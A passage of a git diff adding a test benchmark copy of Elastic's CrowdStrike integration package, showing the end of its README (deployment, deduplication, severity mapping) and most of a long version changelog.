FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events +- EppDetectionSummaryEvent (EPP detection summary) +- CSPM: Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events + +## How do I deploy this integration? + +1. In Kibana, go to **Management > Integrations**. +2. In the "Search for integrations" search bar, type **CrowdStrike**. +3. Click the **CrowdStrike** integration from the search results. +4. Click the **Add CrowdStrike** button to add the integration. +5. Configure the integration. +6. Click **Save and Continue** to save the integration. + +### Agentless enabled integration + +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + +### Agent based installation + +Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md). +You can install only one Elastic Agent per host. +Elastic Agent is required to stream data from the AWS SQS, Event Streams API, REST API, or SIEM Connector and ship the data to Elastic, where the events will then be processed using the integration's ingest pipelines. + +## Troubleshooting + +### Vulnerability API returns 404 Not found + +This error can occur for the following reasons: +1. Too many records in the response. +2. The pagination token has expired. Tokens expire 120 seconds after a call is made. + +To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call. + +### Duplicate Events + +The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events can be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of CrowdStrike fields that uniquely identify the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique and prevent duplicates. + +If duplicate events are ingested, to help find them, the integration's `event.id` field is populated by concatenating a few CrowdStrike fields that uniquely identify the event. These fields are `id`, `aid`, and `cid` from the CrowdStrike event. The fields are separated with pipe `|`. +For example, if your CrowdStrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`. + +### Alert severity mapping + +The values used in `event.severity` are consistent with Elastic Detection Rules. + +| Severity Name | `event.severity` | +|----------------------------|:----------------:| +| Low, Info or Informational | 21 | +| Medium | 47 | +| High | 73 | +| Critical | 99 | + +The integration sets `event.severity` according to the mapping in the table above. If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table. + +| CrowdStrike Severity | Severity Name | +|------------------------|:-------------:| +| 0 - 19 | info | +| 20 - 39 | low | +| 40 - 59 | medium | +| 60 - 79 | high | +| 80 - 100 | critical | + +## Logs + +### Alert + +This is the `alert` dataset. + +#### Example + +{{event "alert"}} + +{{fields "alert"}} + +### Falcon + +This is the `falcon` dataset. + +#### Example + +{{event "falcon"}} + +{{fields "falcon"}} + +### FDR + +This is the `fdr` dataset. + +#### Example + +{{event "fdr"}} + +{{fields "fdr"}} + +### Host + +This is the `host` dataset. + +#### Example + +{{event "host"}} + +{{fields "host"}} + +### Vulnerability + +This is the `vulnerability` dataset. + +#### Example + +{{event "vulnerability"}} + +{{fields "vulnerability"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml new file mode 100644 index 0000000000..5bdf3afc18 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml @@ -0,0 +1,1051 @@ +# newer versions go on top +- version: "3.12.0" + changes: + - description: Add demo video link to integration documentation. + type: enhancement + link: https://github.com/elastic/integrations/pull/17889 +- version: "3.11.0" + changes: + - description: Append preserve_original_event in pipeline on_failure handlers to support error correction and debugging. + type: enhancement + link: https://github.com/elastic/integrations/pull/17780 + - description: Fix FDR fim_rule_matched pipeline to append preserve_original_event to tags instead of event.kind in on_failure. + type: bugfix + link: https://github.com/elastic/integrations/pull/17780 +- version: "3.10.0" + changes: + - description: Remove deprecated threat field mappings and map fields under `mitre_attack` to standard ECS threat fields in alert data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/17327 +- version: "3.9.1" + changes: + - description: Fix the falcon data stream ingest pipeline to handle non-object documents. + type: bugfix + link: https://github.com/elastic/integrations/pull/17616 +- version: "3.9.0" + changes: + - description: Remove deprecated threat field mappings and map fields under `MitreAttack` to standard ECS threat fields in falcon data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/17322 +- version: "3.8.0" + changes: + - description: Update the CrowdStrike integration README and layout. + type: enhancement + link: https://github.com/elastic/integrations/pull/15927 + - description: Update policy template titles and descriptions. + type: enhancement + link: https://github.com/elastic/integrations/pull/15927 +- version: "3.7.0" + changes: + - description: Add tags to ingest pipelines. + type: enhancement + link: https://github.com/elastic/integrations/pull/17437 + - description: Update error message format in ingest pipelines. + type: enhancement + link: https://github.com/elastic/integrations/pull/17437 +- version: "3.6.0" + changes: + - description: Add if conditions to geoip processors in the FDR data stream to improve performance. + type: enhancement + link: https://github.com/elastic/integrations/pull/17584 + - description: Added new configuration options to the FDR data stream to enable or disable GeoIP enrichment for `observer.ip`, `source.ip`, and `destination.ip` fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/17584 +- version: "3.5.0" + changes: + - description: Add support for CustomerIOCEvent events in falcon data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/17339 +- version: "3.4.0" + changes: + - description: Add support for FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events in the FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/16990 + - description: Change `crowdstrike.Nonce` field type from integer to unsigned_long in the FDR data stream to support unsigned 64-bit values out of long range. + type: enhancement + link: https://github.com/elastic/integrations/pull/16990 +- version: "3.3.1" + changes: + - description: Remove references to FDR queue setting. + type: bugfix + link: https://github.com/elastic/integrations/pull/17387 + - description: Remove duplicate security-solution-default tag references + type: bugfix + link: https://github.com/elastic/integrations/pull/17020 +- version: "3.3.0" + changes: + - description: Parse EppDetectionSummaryEvent events in FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/17034 +- version: "3.2.1" + changes: + - description: Fix processing of `crowdstrike.User.ID` field. + type: bugfix + link: https://github.com/elastic/integrations/pull/16989 +- version: "3.2.0" + changes: + - description: Improvements and fixes to ingest pipelines for all data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/16730 +- version: "3.1.0" + changes: + - description: Improve ingest pipeline maintainability. + type: enhancement + link: https://github.com/elastic/integrations/pull/16213 +- version: "3.0.0" + changes: + - description: >- + Add parsing for CSPM IOA and IOM events in the FDR data stream. No configuration changes are required on user side to enable parsing. Some field data types have changed, which can break existing Kibana dashboards or queries. + type: breaking-change + link: https://github.com/elastic/integrations/pull/15783 +- version: "2.11.0" + changes: + - description: >- + Add support for following additional event types in the FDR data stream: MountedVolume, FalconProcessHandleOpDetectInfo, ServiceStopped, KernelServiceStarted, InstalledBrowserExtension, SensorAntiTamperState, SensorSettingsUpdate, ServicesStatusInfo, FileWrittenWithEntropyHigh, ReflectiveDotnetModuleLoad, SuspiciousPrivilegedProcessHandle. These new event types provide deeper visibility into system activity and security posture. + type: enhancement + link: https://github.com/elastic/integrations/pull/15846 +- version: "2.10.1" + changes: + - description: Remove all constant keyword fields that have statically defined values. + type: bugfix + link: https://github.com/elastic/integrations/pull/16240 + - description: Fix handling of string CrowdStrike `User` fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/16240 +- version: "2.10.0" + changes: + - description: >- + Provide an alternate endpoint to query host data for GovCloud CIDs. The GovCloud CIDs must enable the `GovCloud` flag in the integration configuration to ensure the correct endpoint is used. + type: enhancement + link: https://github.com/elastic/integrations/pull/16007 +- version: "2.9.0" + changes: + - description: Support handling FDR documents that encode numbers as strings. + type: enhancement + link: https://github.com/elastic/integrations/pull/16087 +- version: "2.8.0" + changes: + - description: Add support for HTTP proxy configuration for Event Streams. Add support for proxy header configuration for CrowdStrike APIs. + type: enhancement + link: https://github.com/elastic/integrations/pull/15880 +- version: "2.7.0" + changes: + - description: Add support for DataProtectionDetectionSummaryEvent events in FDR and Falcon datasets. + type: enhancement + link: https://github.com/elastic/integrations/pull/15859 +- version: "2.6.0" + changes: + - description: Add a fallback parsing command_line to populate the process name in the FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/15646 +- version: "2.5.2" + changes: + - description: Add `event.category` and `event.type` fields to process data in alerts. + type: bugfix + link: https://github.com/elastic/integrations/pull/15616 +- version: "2.5.1" + changes: + - description: Add conditionals to rename processors in the fdr ingest pipeline to pass the rally benchmark. + type: bugfix + link: https://github.com/elastic/integrations/pull/15497 + - description: Fix the alert ingest pipeline to append device tags correctly. + type: bugfix + link: https://github.com/elastic/integrations/pull/15497 +- version: "2.5.0" + changes: + - description: Migrate to /devices/combined/devices/v1 endpoint to pull host data. + type: enhancement + link: https://github.com/elastic/integrations/pull/15419 +- version: "2.4.0" + changes: + - description: Enhance the field mappings for Windows events in the FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/15342 +- version: "2.3.0" + changes: + - description: Migrate to /alerts/combined/alerts/v1 endpoint to pull alert data. + type: enhancement + link: https://github.com/elastic/integrations/pull/15291 +- version: "2.2.1" + changes: + - description: Fix processing of `crowdstrike.User.Name` field. + type: bugfix + link: https://github.com/elastic/integrations/pull/15272 +- version: "2.2.0" + changes: + - description: >- + Migrate to the "/spotlight/combined/vulnerabilities/v1" endpoint for vulnerability data. Add support for the `facet` query parameter to control what data is returned in the API response. + type: enhancement + link: https://github.com/elastic/integrations/pull/15049 +- version: "2.1.0" + changes: + - description: Populate `message` ECS field from `crowdstrike.event_simpleName` field for FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/14916 +- version: "2.0.1" + changes: + - description: Added a conditional JSON parsing workaround for `ResourceAttributes` to handle cases where it is rendered as a JSON string. + type: bugfix + link: https://github.com/elastic/integrations/pull/15019 +- version: "2.0.0" + changes: + - description: "Data deduplication is now disabled by default for the FDR data stream when configured with the aws-s3 input. \nPreviously, the FDR data stream automatically handled deduplication by computing an Elasticsearch document _id \nusing the aws-s3 input. To prevent duplicate documents, you must now explicitly enable the Data Deduplication setting. \nWhile enabling this setting prevents duplicates, it can result in a lower indexing rate because Elasticsearch \nmust check for existing documents before indexing.\n" + type: breaking-change + link: https://github.com/elastic/integrations/pull/14762 +- version: "1.80.0" + changes: + - description: Update README to clarify the log file format and location for the Falcon SIEM Connector. + type: enhancement + link: https://github.com/elastic/integrations/pull/14789 +- version: "1.79.0" + changes: + - description: Parse `ou` field for host data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/14773 +- version: "1.78.0" + changes: + - description: Add `FilesAccessed` timestamp checking to falcon and fdr data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/14723 +- version: "1.77.1" + changes: + - description: Support various Tags formats in FDR data. + type: bugfix + link: https://github.com/elastic/integrations/pull/14679 +- version: "1.77.0" + changes: + - description: Use `terminate` processor instead of `fail` processor to handle agent errors. + type: enhancement + link: https://github.com/elastic/integrations/pull/14393 +- version: "1.76.0" + changes: + - description: Extend info-level severity names to include "Informational". + type: enhancement + link: https://github.com/elastic/integrations/pull/14275 +- version: "1.75.2" + changes: + - description: Add temporary processor to remove the fields added by the Agentless policy. + type: bugfix + link: https://github.com/elastic/integrations/pull/14172 +- version: "1.75.1" + changes: + - description: Add support for multi-resource falcon hose streams. + type: bugfix + link: https://github.com/elastic/integrations/pull/14212 +- version: "1.75.0" + changes: + - description: Add additional parsed fields in alert datastream. + type: enhancement + link: https://github.com/elastic/integrations/pull/14143 +- version: "1.74.0" + changes: + - description: Standardize user fields processing across integrations. + type: enhancement + link: https://github.com/elastic/integrations/pull/14066 +- version: "1.73.1" + changes: + - description: Fix EppDetectionSummaryEvent recognition logic in falcon data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/14110 +- version: "1.73.0" + changes: + - description: Parse `prevented` and `worker_node_name` field for alert data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/14026 +- version: "1.72.0" + changes: + - description: Update SQS parsing script to parse all notification payloads. + type: enhancement + link: https://github.com/elastic/integrations/pull/13875 +- version: "1.71.0" + changes: + - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in alert and falcon data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/13984 +- version: "1.70.0" + changes: + - description: Normalize `event.severity` values across EDR integrations. + type: enhancement + link: https://github.com/elastic/integrations/pull/13955 +- version: "1.69.1" + changes: + - description: Correct network.direction mapping. + type: bugfix + link: https://github.com/elastic/integrations/pull/13961 +- version: "1.69.0" + changes: + - description: Improve user ECS field mappings for FDR. + type: enhancement + link: https://github.com/elastic/integrations/pull/13906 +- version: "1.68.0" + changes: + - description: Improve handling of document collision. + type: enhancement + link: https://github.com/elastic/integrations/pull/13779 +- version: "1.67.0" + changes: + - description: Improve FDR field handling. + type: enhancement + link: https://github.com/elastic/integrations/pull/12913 +- version: "1.66.0" + changes: + - description: Handle `UTCTimestamp` values expressed in Unix seconds. + type: enhancement + link: https://github.com/elastic/integrations/pull/13833 +- version: "1.65.1" + changes: + - description: Adjust alert batch size to 1000 to match the API limit. + type: bugfix + link: https://github.com/elastic/integrations/pull/13862 +- version: "1.65.0" + changes: + - description: Remove redundant installation instructions. + type: enhancement + link: https://github.com/elastic/integrations/pull/13573 +- version: "1.64.1" + changes: + - description: Reset state values when an error occurs during vulnerability data collection. + type: bugfix + link: https://github.com/elastic/integrations/pull/13740 +- version: "1.64.0" + changes: + - description: Enhance `device.id` ECS mappings for FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/13762 +- version: "1.63.2" + changes: + - description: Fix the navigation links in `Table of Contents` section. + type: bugfix + link: https://github.com/elastic/integrations/pull/13763 +- version: "1.63.1" + changes: + - description: Fix default request trace enabled behavior. + type: bugfix + link: https://github.com/elastic/integrations/pull/13712 +- version: "1.63.0" + changes: + - description: Update `host.*` ECS mappings. + type: enhancement + link: https://github.com/elastic/integrations/pull/13373 +- version: "1.62.0" + changes: + - description: Updated integration logo. + type: enhancement + link: https://github.com/elastic/integrations/pull/12345 +- version: "1.61.1" + changes: + - description: Fix condition in date processors for the FDR data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/13394 +- version: "1.61.0" + changes: + - description: Improve performance of script processors in fdr data stream ingest pipeline. + type: enhancement + link: https://github.com/elastic/integrations/pull/13325 +- version: "1.60.0" + changes: + - description: Add option to delete long fields thus avoiding _ignored fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/13157 +- version: "1.59.0" + changes: + - description: Improve `EppDetectionSummaryEvent` event field mapping for falcon. + type: enhancement + link: https://github.com/elastic/integrations/pull/13334 +- version: "1.58.0" + changes: + - description: Add support for `EppDetectionSummaryEvent` events. + type: enhancement + link: https://github.com/elastic/integrations/pull/12869 +- version: "1.57.0" + changes: + - description: Reduce storage load for less useful or constant fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/13260 +- version: "1.56.1" + changes: + - description: Expose missing "Number of Workers" settings to the user. + type: bugfix + link: https://github.com/elastic/integrations/pull/13196 +- version: "1.56.0" + changes: + - description: Optionally allow data deduplication. + type: enhancement + link: https://github.com/elastic/integrations/pull/13109 + - description: Concatenate fingerprint fields into `event.id` to allow checking for duplicates. + type: enhancement + link: https://github.com/elastic/integrations/pull/13109 +- version: "1.55.0" + changes: + - description: Increase field limits in FDR data-streams to avoid unindexed ECS fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/13056 +- version: "1.54.0" + changes: + - description: Enable request trace log removal. + type: enhancement + link: https://github.com/elastic/integrations/pull/13035 +- version: "1.53.0" + changes: + - description: Add support of vulnerability data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/12973 + - description: Update ecs version to 8.17.0 and add navigation of vulnerability dashboard in existing dashboards. + type: enhancement + link: https://github.com/elastic/integrations/pull/12973 +- version: "1.52.3" + changes: + - description: Fix condition in date processors for the FDR data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/13397 +- version: "1.52.2" + changes: + - description: Expose missing "Number of Workers" settings to the user. + type: bugfix + link: https://github.com/elastic/integrations/pull/13296 +- version: "1.52.1" + changes: + - description: Fixed parsing of RawProcessIDs in edge case scenarios. + type: bugfix + link: http://github.com/elastic/integrations/pull/12860 +- version: "1.52.0" + changes: + - description: Add handling for domain names in SMB events. + type: enhancement + link: https://github.com/elastic/integrations/pull/12712 + - description: Fix issues/gaps in handling of domain names in DNS events. + type: bugfix + link: https://github.com/elastic/integrations/pull/12712 + - description: Fix over setting of `url.scheme`. + type: bugfix + link: https://github.com/elastic/integrations/pull/12712 +- version: "1.51.2" + changes: + - description: Avoid using dynamic template for flattened fields. + type: bugfix + link: http://github.com/elastic/integrations/pull/12624 +- version: "1.51.1" + changes: + - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. + type: bugfix + link: https://github.com/elastic/integrations/pull/12781 +- version: "1.51.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12593 +- version: "1.50.0" + changes: + - description: Allow the usage of deprecated log input and support for stack 9.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/12503 +- version: "1.49.1" + changes: + - description: Fix network direction handling for FDR data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/12508 + - description: Handle invalid IP addresses robustly. + type: bugfix + link: https://github.com/elastic/integrations/pull/12508 +- version: "1.49.0" + changes: + - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error". + type: enhancement + link: https://github.com/elastic/integrations/pull/12109 +- version: "1.48.0" + changes: + - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". + type: enhancement + link: https://github.com/elastic/integrations/pull/12046 +- version: "1.47.0" + changes: + - description: Add Support of CrowdStrike Event Stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/11773 +- version: "1.46.0" + changes: + - description: Extract user and host names from the name field. + type: enhancement + link: https://github.com/elastic/integrations/pull/11804 + - description: Correct use of `related.hash` to `related.hosts`. + type: bugfix + link: https://github.com/elastic/integrations/pull/11804 +- version: "1.45.1" + changes: + - description: Use host.name in `Top Related Hosts` visualisation in Falcon Overview dashboard. + type: bugfix + link: https://github.com/elastic/integrations/pull/11739 + - description: Use host.name field for `Hostname` control in Falcon Overview dashboard. + type: bugfix + link: https://github.com/elastic/integrations/pull/11739 + - description: Remove unused field control `observer.address` from Falcon Overview dashboard. + type: bugfix + link: https://github.com/elastic/integrations/pull/11739 + - description: Add `Severity` name to control using `crowdstrike.event.SeverityName` in Falcon Overview dashboard. + type: bugfix + link: https://github.com/elastic/integrations/pull/11739 +- version: "1.45.0" + changes: + - description: Add support for FQL queries in `alert` and `host` data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/11734 +- version: "1.44.0" + changes: + - description: Map additional fields observed in alert data. + type: enhancement + link: https://github.com/elastic/integrations/pull/11724 +- version: "1.43.0" + changes: + - description: Recover Crowdstrike-deprecated field values for `is_synthetic_quarantine_disposition`, `has_script_or_module_ioc` and `ioc_values`. + type: enhancement + link: https://github.com/elastic/integrations/pull/11282 +- version: "1.42.2" + changes: + - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. + type: bugfix + link: https://github.com/elastic/integrations/pull/11314 +- version: "1.42.1" + changes: + - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. + type: bugfix + link: https://github.com/elastic/integrations/pull/11284 +- version: "1.42.0" + changes: + - description: Add support of IDP and EPP alert fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/11135 +- version: "1.41.1" + changes: + - description: Re-add ECS field definitions to enable fieldless search for kibana versions before v8.14. + type: bugfix + link: https://github.com/elastic/integrations/pull/11147 +- version: "1.41.0" + changes: + - description: Map `crowdstrike.CommandHistory`, `crowdstrike.ParentCommandLine` and `crowdstrike.GrandparentCommandLine` as multi-fields with `match_only_text`. + type: enhancement + link: https://github.com/elastic/integrations/pull/11012 +- version: "1.40.1" + changes: + - description: Fix mapping for assessment events. + type: bugfix + link: https://github.com/elastic/integrations/pull/11023 + - description: Fix handling of cases where AIP is present but empty. + type: bugfix + link: https://github.com/elastic/integrations/pull/11023 +- version: "1.40.0" + changes: + - description: "Allow @custom pipeline access to event.original without setting preserve_original_event." + type: enhancement + link: https://github.com/elastic/integrations/pull/10897 +- version: "1.39.3" + changes: + - description: Fix handling of event.created and timestamp fields for FDR events. + type: bugfix + link: https://github.com/elastic/integrations/pull/10862 +- version: "1.39.2" + changes: + - description: Fix cursor timestamp handling. + type: bugfix + link: https://github.com/elastic/integrations/pull/10694 +- version: "1.39.1" + changes: + - description: Return empty `events` array when no resources in alert, host. + type: bugfix + link: https://github.com/elastic/integrations/pull/10831 +- version: "1.39.0" + changes: + - description: Improve document deduplication behavior. + type: enhancement + link: https://github.com/elastic/integrations/pull/10567 +- version: "1.38.0" + changes: + - description: Improve error reporting for API request failures. + type: enhancement + link: https://github.com/elastic/integrations/pull/10346 +- version: "1.37.1" + changes: + - description: Fix threat.framework when prefix is `CS`. + type: bugfix + link: https://github.com/elastic/integrations/pull/10256 +- version: "1.37.0" + changes: + - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template. + type: enhancement + link: https://github.com/elastic/integrations/pull/10135 +- version: "1.36.0" + changes: + - description: Add `device.id` field. + type: enhancement + link: https://github.com/elastic/integrations/pull/10124 +- version: "1.35.0" + changes: + - description: Make `host.ip` field conform to ECS field definition. + type: enhancement + link: https://github.com/elastic/integrations/pull/10120 +- version: "1.34.3" + changes: + - description: Fix handling of empty responses in CEL. + type: bugfix + link: https://github.com/elastic/integrations/pull/9972 +- version: "1.34.2" + changes: + - description: Resolved ignore_malformed issues with fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/9832 +- version: "1.34.1" + changes: + - description: Improve error handling for renaming processors. + type: bugfix + link: https://github.com/elastic/integrations/pull/9816 +- version: "1.34.0" + changes: + - description: Update manifest format version to v3.0.3. + type: enhancement + link: https://github.com/elastic/integrations/pull/9536 +- version: "1.33.0" + changes: + - description: Refactor alert and host collectors and improve error handling. + type: enhancement + link: https://github.com/elastic/integrations/pull/9716 +- version: "1.32.2" + changes: + - description: Fix geoip mapping to destination. + type: bugfix + link: https://github.com/elastic/integrations/pull/9738 +- version: "1.32.1" + changes: + - description: Fix cache option name in FDR data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/9436 +- version: "1.32.0" + changes: + - description: Set sensitive value as secret in cel input. + type: enhancement + link: https://github.com/elastic/integrations/pull/9238 +- version: "1.31.0" + changes: + - description: Add support for Alert and Host API endpoints. + type: enhancement + link: https://github.com/elastic/integrations/pull/8790 +- version: "1.30.0" + changes: + - description: Set sensitive values as secret. + type: enhancement + link: https://github.com/elastic/integrations/pull/8725 +- version: "1.29.0" + changes: + - description: Expose FDR cache options for more flexibility + type: enhancement + link: https://github.com/elastic/integrations/pull/9063 +- version: "1.28.3" + changes: + - description: Fix drive letter parsing. + type: bugfix + link: https://github.com/elastic/integrations/pull/9119 +- version: "1.28.2" + changes: + - description: Add missing type mapping for host fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/9030 +- version: "1.28.1" + changes: + - description: Changed owners + type: enhancement + link: https://github.com/elastic/integrations/pull/8943 +- version: "1.28.0" + changes: + - description: Enrich events with userinfo user details fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/8742 + - description: Map host and user metatdata to ECS fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/8742 +- version: "1.27.0" + changes: + - description: Allow aidmaster metadata to be retained after host enrichment. + type: enhancement + link: https://github.com/elastic/integrations/pull/8715 +- version: "1.26.2" + changes: + - description: Do not populate `related.hosts` with IP values. + type: bugfix + link: https://github.com/elastic/integrations/pull/8684 +- version: "1.26.1" + changes: + - description: Fix exclude_files pattern. + type: bugfix + link: https://github.com/elastic/integrations/pull/8635 +- version: "1.26.0" + changes: + - description: Enrich events with aidmaster host details fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/8474 +- version: 1.25.1 + changes: + - description: Add new events. + type: enhancement + link: https://github.com/elastic/integrations/pull/8498 +- version: 1.25.0 + changes: + - description: Add new dashboards for Crowdstrike and Crowdstrike Falcon + type: enhancement + link: https://github.com/elastic/integrations/pull/8478 +- version: 1.24.0 + changes: + - description: ECS version updated to 8.11.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/8433 +- version: "1.23.1" + changes: + - description: Prefer ImageFileName for the value of process.executable. + type: bugfix + link: https://github.com/elastic/integrations/pull/8322 +- version: "1.23.0" + changes: + - description: Improve 'event.original' check to avoid errors if set. + type: enhancement + link: https://github.com/elastic/integrations/pull/8269 +- version: "1.22.1" + changes: + - description: Fix field mapping for LMHostIDs + type: bugfix + link: https://github.com/elastic/integrations/pull/8115 +- version: 1.22.0 + changes: + - description: Update the package format_version to 3.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/8025 +- version: 1.21.0 + changes: + - description: Correct invalid ECS field usages at root-level. + type: bugfix + link: https://github.com/elastic/integrations/pull/7968 +- version: 1.20.0 + changes: + - description: ECS version updated to 8.10.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/7905 +- version: "1.19.0" + changes: + - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI. + type: enhancement + link: https://github.com/elastic/integrations/pull/7789 +- version: "1.18.3" + changes: + - description: Convert Win32 timestamps to unix millisecond timestamps. + type: bugfix + link: https://github.com/elastic/integrations/pull/7734 +- version: "1.18.2" + changes: + - description: Fixed event tag handling for the falcon data-stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/7625 +- version: "1.18.1" + changes: + - description: Fixed Windows NT timestamp handling. + type: bugfix + link: https://github.com/elastic/integrations/pull/7548 +- version: "1.18.0" + changes: + - description: Update package to ECS 8.9.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/7107 +- version: "1.17.0" + changes: + - description: Document duration units. + type: enhancement + link: https://github.com/elastic/integrations/pull/6992 +- version: "1.16.1" + changes: + - description: Remove confusing error message tag prefix. + type: bugfix + link: https://github.com/elastic/integrations/pull/7105 +- version: "1.16.0" + changes: + - description: Adding new Event types to the Falcon Datastream. + type: enhancement + link: https://github.com/elastic/integrations/pull/6844 +- version: "1.15.0" + changes: + - description: Overhaul of the Falcon Datastream, adding plenty of new fields and ECS mappings. + type: enhancement + link: https://github.com/elastic/integrations/pull/6668 +- version: "1.14.0" + changes: + - description: Ensure event.kind is correctly set for pipeline errors. + type: enhancement + link: https://github.com/elastic/integrations/pull/6613 +- version: "1.13.0" + changes: + - description: Update package to ECS 8.8.0 and pkg-spec 2.7.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/6372 +- version: "1.12.1" + changes: + - description: Fix parsing errors of LocalAddressIP4 field and calculation of process.uptime. + type: bugfix + link: https://github.com/elastic/integrations/pull/5957 +- version: "1.12.0" + changes: + - description: Update package to ECS 8.7.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/5765 +- version: "1.11.2" + changes: + - description: Reduce duplicate document ingestion. + type: bugfix + link: https://github.com/elastic/integrations/pull/5669 +- version: "1.11.1" + changes: + - description: Multiple IPs in `aip` field and add new fields + type: bugfix + link: https://github.com/elastic/integrations/pull/5655 +- version: "1.11.0" + changes: + - description: Support `max_number_of_messages` in SQS mode + type: enhancement + link: https://github.com/elastic/integrations/pull/5595 +- version: "1.10.2" + changes: + - description: Remove redundant GeoIP look-ups. + type: bugfix + link: https://github.com/elastic/integrations/pull/5456 +- version: "1.10.1" + changes: + - description: Added categories and/or subcategories. + type: enhancement + link: https://github.com/elastic/integrations/pull/5123 +- version: "1.10.0" + changes: + - description: Support Windows NT timestamps for ContextTimeStamp, StartTime and EndTime FDR fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/5168 +- version: "1.9.0" + changes: + - description: Update package to ECS 8.6.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/4576 +- version: "1.8.2" + changes: + - description: Fix parse of CommandLine in Falcon pipeline + type: bugfix + link: https://github.com/elastic/integrations/pull/4758 +- version: "1.8.1" + changes: + - description: Fix parse of flattened `process` fields in Falcon data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/4709 +- version: "1.8.0" + changes: + - description: Update package to ECS 8.5.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/4285 +- version: "1.7.0" + changes: + - description: Expose Default Region setting to UI + type: enhancement + link: https://github.com/elastic/integrations/pull/4158 +- version: "1.6.1" + changes: + - description: Use ECS geo.location definition. + type: enhancement + link: https://github.com/elastic/integrations/issues/4227 +- version: "1.6.0" + changes: + - description: Parse executable for `process.name` in FDR data stream + type: enhancement + link: https://github.com/elastic/integrations/pull/4133 +- version: "1.5.1" + changes: + - description: Set default endpoint to empty string + type: bugfix + link: https://github.com/elastic/integrations/pull/4103 +- version: "1.5.0" + changes: + - description: Update package to ECS 8.4.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/3843 +- version: "1.4.2" + changes: + - description: Fix proxy URL documentation rendering. + type: bugfix + link: https://github.com/elastic/integrations/pull/3881 +- version: "1.4.1" + changes: + - description: Update package name and description to align with standard wording + type: enhancement + link: https://github.com/elastic/integrations/pull/3478 +- version: "1.4.0" + changes: + - description: Update package to ECS 8.3.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/3353 +- version: "1.3.4" + changes: + - description: Prevent missing `@timestamp` field. + type: bugfix + link: https://github.com/elastic/integrations/pull/3484 +- version: "1.3.3" + changes: + - description: Optimize 